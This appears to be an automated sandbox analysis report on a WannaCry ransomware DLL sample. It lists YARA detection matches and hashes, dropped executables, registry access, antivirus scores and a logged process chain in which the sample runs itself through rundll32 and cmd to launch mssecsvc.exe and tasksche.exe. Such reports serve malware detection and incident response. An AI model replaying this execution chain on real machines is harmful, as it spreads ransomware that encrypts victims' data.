Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 8.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 8.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 0000000A.00000000.402045388.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 0000000A.00000002.403090733.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000008.00000000.400435430.000000000040E000.00000008.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000007.00000000.394973919.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000006.00000002.406179599.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000006.00000000.395368035.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000004.00000000.389103282.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000006.00000000.386790075.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000007.00000002.989227568.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000004.00000000.386917948.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000004.00000000.381846118.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000004.00000002.402895877.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000006.00000000.388214852.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000004.00000000.383619617.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: 00000006.00000000.391365800.0000000000710000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Windows\tasksche.exe, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Windows\tasksche.exe, type: DROPPED	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Windows\tasksche.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Windows\mssecsvc.exe, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Windows\mssecsvc.exe, type: DROPPED	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: C:\Windows\mssecsvc.exe, type: DROPPED	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Windows\mssecsvc.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\WINDOWS\mssecsvc.exe

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: 8_2_00406C40	8_2_00406C40
Source: C:\Windows\tasksche.exe	Code function: 8_2_00402A76	8_2_00402A76
Source: C:\Windows\tasksche.exe	Code function: 8_2_00402E7E	8_2_00402E7E
Source: C:\Windows\tasksche.exe	Code function: 8_2_0040350F	8_2_0040350F
Source: C:\Windows\tasksche.exe	Code function: 8_2_00404C19	8_2_00404C19
Source: C:\Windows\tasksche.exe	Code function: 8_2_0040541F	8_2_0040541F
Source: C:\Windows\tasksche.exe	Code function: 8_2_00403797	8_2_00403797
Source: C:\Windows\tasksche.exe	Code function: 8_2_004043B7	8_2_004043B7
Source: C:\Windows\tasksche.exe	Code function: 8_2_004031BC	8_2_004031BC

Source: mssecsvc.exe.2.dr	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: tasksche.exe.4.dr	Static PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract

Source: Joe Sandbox View

Dropped File: C:\WINDOWS\qeriuwjhrf (copy) F60F8A6BCAF1384A0D6A76D3E88007A8604560B263D2B8AEEE06FD74C9EE5B3B

Source: 7B6t4L7E2o.dll	Virustotal: Detection: 89%
Source: 7B6t4L7E2o.dll	Metadefender: Detection: 80%
Source: 7B6t4L7E2o.dll	ReversingLabs: Detection: 91%

Source: 7B6t4L7E2o.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7B6t4L7E2o.dll,PlayGame
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",PlayGame
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
Source: unknown	Process created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe -m security
Source: C:\Windows\mssecsvc.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: C:\Windows\mssecsvc.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7B6t4L7E2o.dll,PlayGame	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",PlayGame	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7B6t4L7E2o.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe	Jump to behavior
Source: C:\Windows\mssecsvc.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe	Jump to behavior
Source: C:\Windows\mssecsvc.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i	Jump to behavior

Source: C:\Windows\mssecsvc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: tasksche.exe.4.dr	Binary string: C\Device\HarddiskVolume2\Windows\SoftwareDistribution\DataStore\Logs
Source: tasksche.exe.4.dr	Binary string: @\Device\HarddiskVolume2\Windows\System32\ru-RU\WinSATAPI.dll.mui
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sysT
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\parvdm.sysAUH
Source: tasksche.exe.4.dr	Binary string: 2\Device\HarddiskVolume2\Windows\System32\fveui.dll
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\wercplsupport.dll
Source: tasksche.exe.4.dr	Binary string: 5\Device\HarddiskVolume2\Windows\System32\QAGENTRT.DLL
Source: tasksche.exe.4.dr	Binary string: I\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Locationp
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\crcdisk.sysp
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sysd
Source: tasksche.exe.4.dr	Binary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\NV_AGP.SYS
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\acpipmi.sysH
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\ndiscap.sys
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\System32\cabinet.dll
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5ABCO
Source: tasksche.exe.4.dr	Binary string: =\Device\HarddiskVolume2\Windows\System32\drivers\VMBusHID.sys&
Source: tasksche.exe.4.dr	Binary string: h\Device\HarddiskVolume2\Users\
Source: tasksche.exe.4.dr	Binary string: 3\Device\HarddiskVolume2\Windows\System32\mapi32.dll
Source: tasksche.exe.4.dr	Binary string: +\Device\HarddiskVolume2\Windows\System32\ru_PTC
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\BrSerId.sys
Source: tasksche.exe.4.dr	Binary string: 2\Device\HarddiskVolume2\Windows\Logs\SystemRestore
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\crcdisk.sys?
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sys;
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\mskssrv.sys
Source: tasksche.exe.4.dr	Binary string: D\Device\HarddiskVolume2\Windows\System32\drivers\en-US\ipnat.sys.muip
Source: tasksche.exe.4.dr	Binary string: `\Device\HarddiskVolume2\Program Files\Windows Media Player\Network Sharing\ConnectionManager.xmlp
Source: tasksche.exe.4.dr	Binary string: <\Device\HarddiskVolume2\Windows\System32\drivers\storvsc.sys,
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-RasRip-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
Source: tasksche.exe.4.dr	Binary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SystemRestore-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
Source: tasksche.exe.4.dr	Binary string: 4\Device\HarddiskVolume2\Windows\System32\desktop.inip
Source: tasksche.exe.4.dr	Binary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnky009.catp
Source: tasksche.exe.4.dr	Binary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netrass.inf_loc0D
Source: tasksche.exe.4.dr	Binary string: :\Device\HarddiskVolume2\Windows\System32\drivers\amdk8.sys
